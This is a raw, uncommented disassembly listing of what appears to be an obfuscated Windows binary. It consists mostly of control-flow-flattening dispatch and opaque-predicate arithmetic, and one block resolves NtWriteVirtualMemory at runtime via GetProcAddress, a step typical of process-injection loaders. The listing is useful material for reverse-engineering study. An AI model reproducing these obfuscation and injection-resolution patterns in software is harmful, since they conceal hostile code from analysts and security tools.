xor dl, cl
mov eax, edx
xor al, 1
and cl, al
xor al, cl
test dl, 1
mov edx, 0xaebffe12
mov ebp, 0xec897c02
cmovne edx, ebp
test cl, 1
mov ecx, 0xaebffe12
cmove edx, ecx
jmp 0x1400c8416
cmp ecx, 0x8f41b7b6
je 0x1400ca815
cmp ecx, 0x8ff922e1
jne 0x1400bd720
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xd78b58cd
and edx, ecx
and ecx, 0x2874a732
or ecx, ebp
xor ecx, 0x2874a732
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xa4cff6a5
mov ebp, ecx
and ebp, 0x5b30095a
or ebp, edx
mov edx, ebp
xor edx, 0x5b30095a
mov ebx, ebp
xor ebx, 0xaba176c4
and ebx, edx
and ecx, 0xf0917f9e
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0xf0917f9f
and ecx, 0xf6e8060
or ecx, ebx
xor ebp, 0xa40bc401
and ebp, 0xe52bcd43
mov ebx, edx
and ebx, 0x1ad432bc
or ebx, ebp
xor ebx, 0xe52bcd42
and edx, 1
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0xbd1f953b
and edx, 0x42e06ac4
or edx, ebp
xor edx, 0x42e06ac4
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and edx, 0xdae302a
and ecx, 0xf251cfd5
or ecx, edx
mov edx, ecx
xor edx, 0x2a2028
xor ecx, 0xf251cfd5
mov ebp, ecx
and ebp, 0xad84d886
and edx, 0x527b2779
or edx, ebp
xor edx, 0x527b2779
or edx, ecx
cmp edx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
or cl, dl
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
or bl, r8b
xor bl, 1
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, al
mov edx, ecx
not dl
and dl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x8f41b7b6
mov ebp, 0xfa6aa304
cmovne ecx, ebp
test dl, dl
mov edx, 0x8f41b7b6
jmp 0x1400cbfc5
cmp ecx, 0xd10f0aed
je 0x1400ca82b
cmp ecx, 0xd16076aa
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0xde0f0126
mov ecx, edx
and ecx, 0x21f0fed9
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x21f0fed8
and ecx, 0xde0f0127
or ecx, ebx
mov ebx, ecx
not ebx
and ebp, 0x74a5d5b1
and edx, 0x8b5a2a4e
or edx, ebp
mov ebp, edx
xor ebp, 0x89120a4c
xor edx, 0x74a5d5b1
mov edi, ecx
and edi, 0x76cd2002
and ebx, 0x8932dffd
or ebx, edi
or ecx, edx
and edx, 0x76cd2002
and ebp, 0x8932dffd
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, dl
xor al, 1
or r8b, al
or dl, bl
and al, bl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
mov ebx, eax
and bl, r8b
mov ecx, r8d
and cl, dl
xor dl, r8b
xor r8b, 1
xor al, 1
and al, r8b
or al, bl
or dl, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0xbe941979
mov ecx, 0x30203400
cmovne ebp, ecx
test dl, 1
mov ecx, 0xbe941979
jmp 0x1400c73f7
cmp ecx, 0x7123c004
je 0x1400ca841
cmp ecx, 0x722dcff3
jne 0x1400bd720
mov eax, dword [0x140265728]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x45b3b6e5
and edx, 0xba4c491a
or edx, eax
mov eax, edx
not eax
and eax, 0x1806068d
and edx, 0xe7f9f972
or edx, eax
mov eax, edx
xor eax, 0xa0e95
xor edx, 0x5db5b068
mov ecx, edx
and ecx, 0xb750c162
and eax, 0x48af3e9d
or eax, ecx
mov ebx, eax
xor ebx, 0x48af3e9d
mov ebp, eax
xor ebp, 0xa5232c1f
and ebp, ebx
or edx, 0x1273ed7d
mov edi, edx
not edi
mov ecx, ebp
not ecx
mov esi, ecx
and esi, 0xfe8db3e7
and ebp, 0x1724c18
or ebp, esi
or ecx, edx
and edx, 0xfe8db3e7
and edi, 0x1000000
or edi, edx
xor edi, ebp
not ecx
or ecx, edi
mov edx, ecx
not edx
and edx, 0xed8c1283
and ecx, 0x1273ed7c
or ecx, edx
and ebx, 1
xor eax, 0x48af3e9c
or eax, ebx
mov edx, eax
not edx
and edx, 0xc4f1962e
and eax, 0x3b0e69d1
or eax, edx
mov ebp, eax
xor ebp, 0xa042150
xor eax, 0xc4f1962e
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xb1aa4a8f
and ecx, 0x4e55b570
or ecx, ebx
or edx, eax
and eax, 0xb1aa4a8f
and ebp, 0x4e55b570
or ebp, eax
xor ebp, ecx
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0x1dcdb296
and edx, 0xe2324d69
or edx, eax
mov eax, edx
xor eax, 0x42304020
xor edx, 0x1c813006
and edx, 0xbc833d4f
and eax, 0x437cc2b0
or eax, edx
mov ecx, eax
xor ecx, 0x20830447
xor eax, 0x20cc030
and ecx, 0x61f306c7
and eax, 0x9e0cf938
or eax, ecx
xor eax, 0x9e0cf938
sete al
cmp dword [0x140265724], 9
setg cl
mov edx, ecx
xor dl, al
mov ebx, edx
xor bl, cl
and bl, dl
not dl
and dl, al
or cl, al
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov eax, ebx
xor al, 1
and al, dl
xor dl, 1
mov ecx, ebx
xor cl, dl
and cl, bl
and dl, bl
or dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x64bd0e50
mov ebp, 0x567c7ea1
cmovne eax, ebp
test dl, dl
mov edx, eax
cmovne edx, ebp
test cl, cl
jmp 0x1400cc3ac
cmp ecx, 0xb216925f
je 0x1400ca857
cmp ecx, 0xb27c74e9
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x2530a0a8
mov ebp, edx
and ebp, 0x31801
or ebp, ecx
xor ebp, 0x31801
and edx, 0xdacc4756
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xdfff87b8
and edx, 0x20007847
or edx, ecx
mov ebp, edx
xor ebp, 0x51140c2
xor edx, 0xfacc3f11
mov ecx, edx
or ecx, 1
mov ebx, ecx
not ebx
and edx, 0x80aeb43d
and ebp, 0x7f514bc2
or ebp, edx
mov edx, ebp
xor edx, 0x36404881
xor ebp, 0x80aeb43c
mov edi, ecx
and edi, 0x4917b766
and ebx, 0xb6e84898
or ebx, edi
or ecx, ebp
and ebp, 0x4917b766
and edx, 0xb6e84899
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x20872c00
and ecx, 0x5c60c24e
or ecx, edx
mov ebx, ecx
xor ebx, 0x18208244
xor ecx, 0x23853490
or ebp, 0x7ce7ee4e
mov edx, ebp
not edx
and ecx, 0x67c5749a
and ebx, 0x18228a44
or ebx, ecx
and ebp, 0x67c5749a
and edx, 0x80180121
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0xa51fba8e
and edx, 0x5ae04571
or edx, ecx
xor edx, 0x2607ab3f
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
and dl, al
mov ebx, r8d
and bl, cl
or bl, dl
xor al, bl
and al, bl
xor cl, r8b
mov edx, ecx
xor dl, 1
xor cl, al
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x30157334
mov ebp, 0xe1c1c7f7
cmovne ecx, ebp
test al, al
mov eax, 0x30157334
jmp 0x1400c8618
cmp ecx, 0xf74feefc
je 0x1400caa19
cmp ecx, 0xf77c741d
jne 0x1400bd720
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
or ecx, 0xa464b69f
mov ebp, ecx
not ebp
mov edx, ebx
xor edx, 0x5b9b4960
and edx, ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x3cfbf0f1
and ebp, 0x43000900
or ebp, esi
or ecx, edi
and edi, 0x3cfbf0f1
and edx, 0xc3040f0e
or edx, edi
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xa464b69e
and ecx, 0x5b9b4961
or ecx, edx
mov edx, ecx
and ecx, ebx
not ebx
not edx
and ebx, edx
or ecx, ebx
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, ecx
xor al, dl
xor al, 1
or al, cl
xor al, 1
and bl, r8b
and cl, dl
or cl, bl
xor cl, al
mov edx, ecx
not dl
and dl, al
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0x2e23b315
mov ebp, 0xc2260785
cmovne ecx, ebp
test dl, dl
mov edx, 0x2e23b315
jmp 0x1400cbfc5
cmp ecx, 0x502e0ed2
je 0x1400caa2f
cmp ecx, 0x52d0b11a
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov esi, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0xa00a41e
and ebp, 0xb0c90be1
or ebp, edx
mov ebx, ebp
xor ebx, 0x108009a1
xor ebp, 0x130401c
or ecx, 0xbac9afff
mov edx, ecx
not edx
and ebp, 0xa179425c
and ebx, 0x1a80ada3
or ebx, ebp
and ecx, 0xa179425c
and edx, 0x44061000
or edx, ecx
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x45365000
and edx, 0xbac9afff
or edx, ecx
mov ebp, edx
not ebp
and ebp, 0x3b07740e
mov ecx, edx
and ecx, 0xc4f88bf1
or ecx, ebp
mov ebp, ecx
xor ebp, 0xc4f88bf1
mov ebx, ecx
xor ebx, 0x505362c5
and ebx, ebp
and edx, 0x94abe934
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x94abe935
and edx, 0x6b5416ca
or edx, ebx
and ebp, 1
xor ecx, 0xc4f88bf0
or ecx, ebp
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xc8c673d7
and edx, ecx
and ecx, 0x37398c28
or ecx, ebp
mov ebp, ecx
xor ebp, 0x3300c00
xor ecx, 0xc8c673d7
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x3c8bb3ea
and ebp, 0xc3744c15
or ebp, edi
or ecx, ebx
and ebx, 0x3c8bb3ea
and edx, 0xc3744c15
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xe255e77d
and ecx, 0x1daa1882
or ecx, ebp
xor ecx, 0x1daa1882
or ecx, edx
cmp ecx, 0xffffffff
setne r9b
sete al
cmp esi, 9
setg bl
cmp esi, 0xa
setl r8b
mov edx, eax
xor dl, r9b
and dl, al
xor dl, r8b
xor dl, 1
xor al, bl
mov ecx, ebx
xor cl, r9b
or bl, r9b
xor bl, 1
or bl, cl
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov eax, edx
or al, bl
xor bl, dl
mov ecx, ebx
xor cl, al
test bl, 1
mov edx, 0xfa34602b
mov ebp, 0x722dcff3
cmovne edx, ebp
test al, 1
mov eax, 0xfa34602b
cmovne edx, eax
test cl, 1
jmp 0x1400c8418
cmp ecx, 0x30203400
je 0x1400caa45
cmp ecx, 0x32523743
jne 0x1400bd720
mov ecx, 0x743175f1
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x898723d8
je 0x1400caa5b
cmp ecx, 0x89986fae
jne 0x1400bd720
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x12f1f21a
mov ebx, ecx
and ebx, 0xed0e0de4
or ebx, edx
mov edx, ebx
xor edx, 0xc4020c24
xor ebx, 0x10608002
or ecx, 0x396c81c2
and ebx, 0x396c81c2
and edx, 0xc6937e3c
or edx, ebx
and ecx, 0x396c81c3
xor ecx, edx
not ecx
mov edx, ecx
and edx, ebp
xor ecx, ebp
or ecx, edx
cmp ecx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
or cl, dl
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
or bl, r8b
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
test cl, cl
mov ecx, 0xcef5a53e
mov ebp, 0xae3592c4
cmovne ecx, ebp
test al, al
mov eax, 0xcef5a53e
cmove ecx, eax
jmp 0x1400c861b
cmp ecx, 0xc7ff0647
je 0x1400cab7a
cmp ecx, 0xc87dd9c8
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ebp, edx
mov ecx, edx
xor ecx, 0x177429ae
and ecx, edx
not edx
and edx, 0xdf83f627
and ebp, 0x207c09d8
or ebp, edx
mov edx, ebp
xor edx, 0x207c09d8
mov edi, ebp
xor edi, 0xc8f7df89
and edi, edx
mov ebx, edi
and ebx, ecx
xor ecx, edi
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x24cf1dc8
and ecx, 0xdb30e237
or ecx, ebx
mov ebx, ecx
xor ebx, 0x8448380
xor ebp, 0x503c621
and ebp, 0x52bce61
mov edi, edx
and edi, 0xfad4319e
or edi, ebp
xor edi, 0x52bce60
and edx, 1
or edx, edi
mov ebp, edx
not ebp
and ebp, 0xdae77d0b
and edx, 0x251882f4
or edx, ebp
mov ebp, edx
xor ebp, 0x1882c0
xor ecx, 0x33bb3467
xor edx, 0xdae77d0b
mov edi, ecx
and edi, 0xe5a2583f
and ebx, 0x1a5da7c0
or ebx, edi
or ecx, edx
and edx, 0xe5a2583f
and ebp, 0x1a5da7c0
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
sete r8b
setne r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r10b
mov eax, r10d
xor al, cl
and al, r10b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov edx, eax
xor dl, 1
or al, dl
mov r11d, edx
xor r11b, al
or al, dl
xor al, 1
or al, r11b
mov edx, ebx
xor dl, 1
or bl, dl
mov r11d, edx
xor r11b, bl
or bl, dl
xor bl, 1
or bl, r11b
mov edx, ebx
xor dl, al
and bl, dl
and dl, al
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
and r9b, cl
and r10b, r8b
or r10b, r9b
mov eax, ecx
and al, r8b
xor cl, r8b
or cl, al
xor cl, 1
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x577a7012
mov ebp, 0x48e4c48e
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0x577a7012
jmp 0x1400cc8d4
cmp ecx, 0x6e75f048
je 0x1400cac6c
cmp ecx, 0x6ec2e9ec
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xd9b04bbc
and ecx, edx
not edx
and edx, 0xd9b04bbc
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xfe2e7022
and ecx, 0x1d18fdd
or ecx, edx
mov ebp, ecx
xor ebp, 0xd861c461
xor ecx, 0x279e3b9e
mov ebx, ebp
or ebx, 0x2a492caf
mov edi, ebx
not edi
mov esi, ecx
or esi, 0xd5b6d350
mov edx, esi
not edx
and ebx, 0x934aadb2
and edi, 0x44b45240
or edi, ebx
and esi, 0x934aadb2
and edx, 0x2801000d
or edx, esi
xor edx, edi
mov ebx, edx
not ebx
and ebx, 0x2a492cae
and edx, 0xd5b6d351
or edx, ebx
and ebp, 0xafc5871c
mov ebx, ecx
and ebx, 0x503a78e3
or ebx, ebp
xor ebx, 0xafc5871d
and ecx, 1
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x338c12af
and ecx, 0xcc73ed50
or ecx, ebp
xor ecx, 0xcc73ed50
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xc6d1d9fd
and ecx, 0x392e2602
or ecx, edx
mov edx, ecx
xor edx, 0x212a2400
xor ecx, 0x2c0c17d
and ecx, 0x1ac4c37f
and edx, 0xe53b3c80
or edx, ecx
mov ecx, edx
xor ecx, 0x12444332
xor edx, 0xe53b3c80
mov ebp, edx
and ebp, 0x499a844d
and ecx, 0xb6657bb2
or ecx, ebp
xor ecx, 0x499a844d
xor edx, ecx
test edx, ecx
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
or dl, bl
or bl, r8b
xor bl, 1
or bl, cl
or al, r8b
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
mov r8d, edx
and r8b, al
xor dl, al
or dl, r8b
xor dl, bl
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0x36fc5aaf
mov ebp, 0xf74feefc
cmovne ecx, ebp
test dl, 1
mov r14d, 0xf74feefc
cmovne ecx, ebp
not al
test al, 1
mov eax, 0x36fc5aaf
jmp 0x1400cc8d4
cmp ecx, 0xac0d45ed
je 0x1400cadd0
cmp ecx, 0xac93a094
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x20240202
and edx, 0x52d82480
or edx, ecx
mov ebx, edx
xor ebx, 0x40c00400
xor edx, 0xa500407a
or ebp, 0x72fc2682
mov ecx, ebp
not ecx
and edx, 0xb71860fa
and ebx, 0x40e40600
or ebx, edx
and ebp, 0xb71860fa
and ecx, 0x8039905
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0xd8ac74a1
and ecx, 0x27538b5e
or ecx, edx
mov ebp, ecx
xor ebp, 0x5088801c
mov esi, ecx
xor esi, 0xaa505223
or ebp, 0xaf673de2
mov edi, ebp
not edi
mov edx, esi
or edx, 0x5098c21d
mov ebx, edx
not ebx
and ebp, 0x92228cf
and edi, 0x5098c210
or edi, ebp
and edx, 0x92228cf
and ebx, 0xa6451520
or ebx, edx
xor ebx, edi
mov edx, ebx
not edx
and edx, 0xaf673de3
and ebx, 0x5098c21c
or ebx, edx
and esi, 1
xor ecx, 0xaa505222
or ecx, esi
mov edx, ecx
not edx
and edx, 0xa04d22e5
and ecx, 0x5fb2dd1a
or ecx, edx
mov ebp, ecx
xor ebp, 0x48928102
xor ecx, 0xa04d22e5
mov edx, ebx
not edx
mov edi, edx
and edi, 0x97697ed9
and ebx, 0x68968126
or ebx, edi
or edx, ecx
and ecx, 0x97697ed9
and ebp, 0x68968126
or ebp, ecx
xor ebp, ebx
not edx
or edx, ebp
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x22fea8ea
and ebp, 0xdd015715
or ebp, edi
or edx, ebx
and ebx, 0x22fea8ea
and ecx, 0xdd015715
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
setne r8b
sete r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, cl
and al, r9b
mov ebx, r10d
xor bl, al
mov edx, ebx
and dl, r10b
and bl, al
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ecx
xor al, r10b
and al, cl
and r8b, r9b
and cl, r10b
or cl, r8b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor cl, bl
and bl, cl
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xca0ca819
mov edx, 0xf5accc2a
cmovne eax, edx
test cl, cl
mov ecx, 0xca0ca819
cmovne ecx, eax
test bl, bl
jmp 0x1400cc8d4
cmp ecx, 0xebfcaab1
je 0x1400cade6
cmp ecx, 0xec897c02
jne 0x1400bd720
mov edx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x2f416ac4
mov edx, ebp
and edx, 0xd0be953b
or edx, ebx
mov ebx, edx
xor ebx, 0x10020023
xor edx, 0x4406080
mov ecx, ebp
xor ecx, 0x14c261a3
and ecx, ebp
or edx, 0xeb3d9e5c
mov esi, ecx
not esi
mov eax, edx
and eax, 0xa8ac63c4
and ebx, 0x14420023
or ebx, eax
or edx, esi
and esi, 0xa8ac63c4
and ecx, 0x57539c3b
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xeb3d9e5d
and edx, 0x14c261a2
or edx, eax
mov eax, edx
not eax
and edi, eax
and edx, ebp
or edx, edi
not edx
or edx, eax
cmp edx, 0xffffffff
sete r9b
setne cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov eax, ebx
and al, cl
and r9b, bl
xor bl, cl
or bl, al
and dl, cl
or dl, r9b
mov eax, edx
and dl, bl
xor bl, 1
xor al, 1
mov ecx, ebx
xor cl, al
and cl, bl
and al, bl
or al, dl
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x342359e2
mov ebp, 0x70ea4fa7
cmovne eax, ebp
test cl, cl
mov ecx, 0x342359e2
cmove eax, ecx
test dl, 1
cmovne eax, ebp
jmp 0x1400cbd13
cmp ecx, 0x1e3e54ea
je 0x1400caee6
cmp ecx, 0x1eeef899
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x2f7ce4cf
and edx, 0xd0831b30
or edx, ecx
mov ecx, edx
xor ecx, 0xd0831b30
mov ebp, edx
xor ebp, 0x2f7ce4ce
xor edx, 0xd0831b31
and edx, ecx
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x6fc16790
and ecx, 0x903e986f
or ecx, edx
xor ecx, 0x6fc16790
cmp ecx, 0xffffffff
setne dl
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl cl
mov eax, ecx
and dl, cl
xor cl, r8b
or al, r8b
xor al, 1
or al, cl
and bl, r8b
or dl, bl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor dl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x1c5c1ab9
mov ebp, 0x939e9846
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x1c5c1ab9
jmp 0x1400cc8d4
cmp ecx, 0x5b0b86f6
je 0x1400caefc
cmp ecx, 0x5da6b387
jne 0x1400bd720
mov ecx, 0x7e0584a1
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x4022273a
je 0x1400cb085
cmp ecx, 0x40a3b9aa
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x110df9c
and edx, ebp
not ebp
and ebp, 0x100c298
and ecx, 0x101d04
or ecx, ebp
xor ecx, 0x101d04
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x246f9dc
and edx, 0xfdb90623
or edx, ecx
mov ebp, edx
xor ebp, 0xfca9d9bf
mov ebx, edx
xor ebx, 0xfca9d9be
and ebx, ebp
xor edx, 0x3062640
and edx, 0xf78f6f62
and ebp, 0x870909d
or ebp, edx
mov edx, ebp
xor edx, 0x101090
mov ecx, ebx
not ecx
xor ebp, 0xf78f6f63
mov edi, ecx
and edi, 0x9ceba62f
and ebx, 0x631459d0
or ebx, edi
or ecx, ebp
and ebp, 0x9ceba62f
and edx, 0x631459d0
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x3f86f8f5
and ecx, 0xc079070a
or ecx, edx
mov edx, ecx
xor edx, 0x230028d1
xor ecx, 0x40390300
and ecx, 0x5cbfd324
and edx, 0xa3402cdb
or edx, ecx
xor edx, 0xa3402cdb
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, ecx
xor al, dl
xor al, 1
or al, cl
and dl, cl
and bl, r8b
or bl, dl
mov ecx, eax
xor cl, bl
xor bl, 1
or bl, al
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0xabfb9a29
mov edx, 0xe310b438
cmovne ecx, edx
test bl, bl
cmovne ecx, edx
not al
test al, 1
mov eax, 0xabfb9a29
jmp 0x1400cc8d4
cmp ecx, 0x99caf161
je 0x1400cb09b
cmp ecx, 0x9a39877e
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x678243f5
and edx, 0x987dbc0a
or edx, ecx
mov ecx, edx
xor ecx, 0x984d9400
xor edx, 0x60804361
and edx, 0x60b06b6b
and ecx, 0x9f4f9494
or ecx, edx
mov edx, ecx
xor edx, 0x60b06b6b
xor ecx, 0x9c098004
and ecx, 0xbc09ab6c
mov esi, edx
and esi, 0x43f65493
or esi, ecx
mov ebp, esi
xor ebp, 0x43f65493
mov ebx, esi
xor ebx, 0x500c1f73
and ebx, ebp
and edx, 0x13fa4be0
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x13fa4be1
and edx, 0xec05b41e
or edx, ebx
xor esi, 0x1008a820
and esi, 0x135cacb3
mov ebx, ebp
and ebx, 0xeca3534c
or ebx, esi
xor ebx, 0x135cacb2
and ebp, 1
or ebp, ebx
not ebp
mov ecx, edx
and ecx, ebp
xor ebp, edx
or ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0xab930b1a
and ecx, ebp
not ebp
and ebp, 0x81930010
and edx, 0x2a000b0a
or edx, ebp
xor edx, 0x2a000b0a
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x546cf4e5
and ecx, 0xab930b1a
or ecx, edx
sete r8b
setne cl
cmp eax, 9
setg r9b
cmp eax, 0xa
setl al
xor cl, al
mov r10d, ecx
xor r10b, 1
mov ebx, r9d
xor bl, r8b
and bl, r9b
xor al, r8b
mov edx, ebx
and dl, al
xor al, bl
or al, dl
xor al, 1
mov edx, eax
xor dl, cl
and cl, r10b
xor cl, 1
mov ebx, r10d
xor bl, cl
or cl, r10b
xor cl, 1
or cl, bl
xor cl, al
xor dl, 1
or al, r10b
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
not dl
test dl, 1
mov edx, 0x4210de93
mov ebp, 0x660e5c38
cmovne edx, ebp
test al, 1
mov eax, 0x4210de93
cmovne eax, edx
jmp 0x1400c7f2c
cmp ecx, 0xdafbdcf7
je 0x1400cb20d
cmp ecx, 0xdc99a6fe
jne 0x1400bd720
mov ecx, 0x504a021
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x7b49079f
je 0x1400cb345
cmp ecx, 0x7cd83767
jne 0x1400bd720
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebx, [rdx - 1]
imul ebx, edx
mov esi, ebx
not esi
mov edx, esi
and edx, 0x308a0a07
mov ecx, ebx
and ecx, 0x2601148
or ecx, edx
mov edi, ecx
xor edi, 0x2601140
xor ecx, 0xb0098836
mov ebp, esi
or ebp, 0x32ea1b4f
mov edx, ebp
not edx
and ecx, 0xb009883e
and edi, 0x2e21341
or edi, ecx
and ebp, 0xb009883e
and edx, 0x4d146480
or edx, ebp
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x865a11cc
and edx, 0x79a5ee33
